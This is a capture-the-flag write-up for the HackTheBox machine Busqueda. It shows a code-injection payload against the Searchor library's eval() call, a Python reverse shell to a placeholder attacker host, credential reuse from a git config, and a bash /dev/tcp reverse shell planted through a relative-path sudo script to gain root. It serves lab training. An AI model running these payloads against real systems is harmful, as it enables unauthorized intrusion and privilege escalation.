HackTheBox: Busqueda write-up
In this article we’ll attempt to solve the Busqueda room from HackTheBox. The solution involves exploiting a Flask website to gain initial access, abusing custom python scripts and taking advantage of password reuse. This challenge is rated as easy
.
Enumeration and initial access
An initial scan with rustscan
revealed two open ports: 22 and 80. I decided to explore the website first which redirected me to http://searcher.htb/
. After mapping the domain name to the IP address of the machine in the /etc/hosts file I was able to visit the website.
The application allows users to input arbitrary text, which it then uses to construct a search query on the specified search engine. The query is sent to the server with two parameters: query
and engine
.
Attempting to input the '
character in the search field caused the application to break immediately and display an empty page. This behavior suggests that there is no input sanitization whatsoever.
I also discovered some interesting information located at the bottom of the web page. The website is built with Flask, a Python web framework, and utilizes the Searchor 2.4.0 library to construct its search queries:
After some research I found out that this version of Searchor has an arbitrary code execution flaw, as detailed on this Snyk page. Taking a look at the GitHub commit related to the vulnerability we can see that the library passes the search query into an eval()
statement:
... def search(engine, query, open, copy): try: url = eval( f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})" ) url = Engine[engine].search(query, copy_url=copy, open_web=open) ...
Let’s test this and see if arbitrary code execution is possible. On my local machine I’ve setup tcpdump to listen for ICMP traffic with the following command:
tcpdump ip proto \\icmp -i tun0
I then crafted the following payload which should send a couple ping requests to my machine. It begins with ',
to escape the python function call and ends with #
to comment the rest of the line:
', exec("import subprocess;subprocess.run(['ping','-c','2', 'MY_IP']);"))#
We have code execution! Let’s run a netcat listener and adapt a reverse shell from revshells.com (Python #2 looked like a good candidate to me) and try to access the machine:
', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('MY_IP',MY_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#
We get our shell as svc
user. We can now proceed and use python to get a more stable shell and get the user flag in /home/svc/user.txt.
Machine enumeration
I proceeded with some enumeration of the machine. I found an interesting directory in /opt with some scripts (which we can’t read, unfortunately):
svc@busqueda:/var/www/app$ ls -alh /opt/scripts total 28K drwxr-xr-x 3 root root 4.0K Dec 24 18:23 . drwxr-xr-x 4 root root 4.0K Mar 1 10:46 .. -rwx--x--x 1 root root 586 Dec 24 21:23 check-ports.py -rwx--x--x 1 root root 857 Dec 24 21:23 full-checkup.sh drwxr-x--- 8 root root 4.0K Apr 3 15:04 .git -rwx--x--x 1 root root 3.3K Dec 24 21:23 install-flask.sh -rwx--x--x 1 root root 1.9K Dec 24 21:23 system-checkup.py
In the web application directory I also found a git configuration file with the some credentials for the user cody
and the subdomain gitea.searcher.htb
, which I added to my /etc/hosts file:
svc@busqueda:/var/www/app/.git$ cat config [core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [remote "origin"] url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git fetch = +refs/heads/*:refs/remotes/origin/* [branch "main"] remote = origin merge = refs/heads/main
I also found that this password was reused for the svc
account. Using this information I was able to access the machine via SSH and obtain a proper shell. Let’s see if sudo
is available:
svc@busqueda:~$ sudo -l [sudo] password for svc: Matching Defaults entries for svc on busqueda: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User svc may run the following commands on busqueda: (root) /usr/bin/python3 /opt/scripts/system-checkup.py *
Interesting. Let’s see what this script does:
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py something Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2) docker-ps : List running docker containers docker-inspect : Inpect a certain docker container full-checkup : Run a full system checkup svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup Something went wrong svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 3 months ago Up About an hour 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 3 months ago Up About an hour 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>
After conducting research on the docker inspect
command, I found that it is used to extract detailed information about Docker objects, including their configuration details, network settings, metadata, and more. The --format
argument can be used to specify the data we want to retrieve, allowing us to extract specific pieces of information. For example, the --format={{.Config}}
argument can be used to retrieve the configuration of the object in a Go-style format.
Our custom docker-inspect
script is asking for a format and a container name. Let’s try to use {{.Config}}
:
We obtained new passwords for the MySQL database and Gitea. I couldn’t think of any other way to abuse the scripts so my next step was to explore gitea.searcher.htb
which unsurprisingly turned out to be a Gitea instance. Using the credentials we obtained earlier, I logged in as cody
but found nothing of particular interest to me except the existence of another user, administrator
.
The Gitea password we dumped earlier turned out to be the password for the ‘administrator’ user account. With these credentials, we are able to access the administrator’s repository, where we finally find the source code for the Python scripts we had discovered earlier in the /opt/scripts
directory. This allows us to examine the code and potentially identify any vulnerabilities or weaknesses that could be exploited to gain further access to the system.
The system-checkup.py
script is particularly interesting. Upon inspecting the code, I discovered why it returned the “Something went wrong” message when it was previously ran. More importantly, I also identified a potential vulnerability that could be exploited to gain a root shell on the system. Take a closer look at how arg_list
is constructed:
... elif action == 'full-checkup': try: arg_list = ['./full-checkup.sh'] print(run_command(arg_list)) print('[+] Done!') except: print('Something went wrong') exit(1) ...
The script uses a relative path to full-checkup.sh
. This presents an opportunity to exploit the system by creating a custom full-checkup.sh
in a directory that we have full access to with the following reverse shell:
#!/bin/bash sh -i 5<> /dev/tcp/[MY_IP]/[MY_PORT] 0<&5 1>&5 2>&5
After setting up a netcat listener and executing sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
I was able to obtain a root shell. All that’s left to is get the root flag!
Recent comments